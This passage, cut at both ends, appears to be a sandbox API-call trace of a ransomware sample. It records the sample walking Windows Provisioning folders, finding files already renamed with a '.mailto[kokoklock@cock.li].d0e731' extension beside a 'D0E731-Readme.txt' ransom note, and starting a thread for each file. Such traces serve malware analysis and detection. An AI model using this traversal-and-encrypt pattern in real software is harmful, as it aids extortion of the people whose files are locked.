Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*" [0173.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0173.634] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x887858ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887858ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fa60 [0173.636] wcscmp (_String1=".", _String2=".") returned 0 [0173.636] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x887858ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887858ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.636] wcscmp (_String1="..", _String2=".") returned 1 [0173.636] wcscmp (_String1="..", _String2="..") returned 0 [0173.636] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8875f4ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9bb5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CUSTOM~1.D0E")) returned 1 [0173.637] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.637] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f90640 [0173.637] wcscpy (in: _Dest=0x2f90640, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0173.637] wcscat (in: _Dest=0x2f90640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0173.637] wcscat (in: _Dest=0x2f90640, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0174.013] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8875f4ce, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8875f4ce, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8875f4ce, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.013] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.013] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.013] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x887858ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.013] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.013] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305ca08 [0174.013] wcscpy (in: _Dest=0x305ca08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0174.013] wcscat (in: _Dest=0x305ca08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0174.013] wcscat (in: _Dest=0x305ca08, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ca08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0174.014] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c030496, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.014] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.014] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056838 [0174.014] wcscpy (in: _Dest=0x3056838, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0174.014] wcscat (in: _Dest=0x3056838, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0174.014] wcscat (in: _Dest=0x3056838, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0174.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0174.015] FindNextFileW (in: hFindFile=0x2f7fa60, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c030496, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.015] FindClose (in: hFindFile=0x2f7fa60 | out: hFindFile=0x2f7fa60) returned 1 [0174.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ea8) returned 1 [0174.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f919d0) returned 1 [0174.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92840) returned 1 [0174.016] RtlExitUserThread (Status=0x0) Thread: id = 2166 os_tid = 0x12c0 [0173.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91a80 [0173.637] wcscpy (in: _Dest=0x2f91a80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0173.637] wcscat (in: _Dest=0x2f91a80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0173.637] wcscat (in: _Dest=0x2f91a80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*" [0173.637] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2110 [0173.637] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*", lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x887f808b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887f808b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7faa0 [0173.639] wcscmp (_String1=".", _String2=".") returned 0 [0173.639] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x887f808b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887f808b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.640] wcscmp (_String1="..", _String2=".") returned 1 [0173.640] wcscmp (_String1="..", _String2="..") returned 0 [0173.640] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x887ab901, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.640] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.640] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.640] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f90758 [0173.640] wcscpy (in: _Dest=0x2f90758, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0173.640] wcscat (in: _Dest=0x2f90758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0173.640] wcscat (in: _Dest=0x2f90758, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0174.008] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x887ab901, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x887ab901, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x887d1aef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.008] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.008] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.008] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x887f808b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.008] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.008] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305c8f0 [0174.008] wcscpy (in: _Dest=0x305c8f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0174.008] wcscat (in: _Dest=0x305c8f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0174.008] wcscat (in: _Dest=0x305c8f0, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0174.009] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfe40b0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.009] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.009] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056780 [0174.009] wcscpy (in: _Dest=0x3056780, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0174.009] wcscat (in: _Dest=0x3056780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0174.009] wcscat (in: _Dest=0x3056780, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0174.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0174.010] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfe40b0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.010] FindClose (in: hFindFile=0x2f7faa0 | out: hFindFile=0x2f7faa0) returned 1 [0174.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2110) returned 1 [0174.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91a80) returned 1 [0174.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92a50) returned 1 [0174.011] RtlExitUserThread (Status=0x0) Thread: id = 2167 os_tid = 0x12c4 [0173.640] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91b30 [0173.640] wcscpy (in: _Dest=0x2f91b30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0173.640] wcscat (in: _Dest=0x2f91b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0173.640] wcscat (in: _Dest=0x2f91b30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*" [0173.640] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 [0173.640] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*", lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888444d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888444d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fae0 [0173.642] wcscmp (_String1=".", _String2=".") returned 0 [0173.642] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888444d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888444d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.642] wcscmp (_String1="..", _String2=".") returned 1 [0173.643] wcscmp (_String1="..", _String2="..") returned 0 [0173.643] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6a449, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6a449, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8881e13e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x968, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.643] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.643] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.643] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f90870 [0173.643] wcscpy (in: _Dest=0x2f90870, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0173.643] wcscat (in: _Dest=0x2f90870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0173.643] wcscat (in: _Dest=0x2f90870, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0174.003] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8881e13e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8881e13e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8881e13e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.003] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.003] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.004] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x888444d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.004] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.004] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305c7d8 [0174.004] wcscpy (in: _Dest=0x305c7d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All 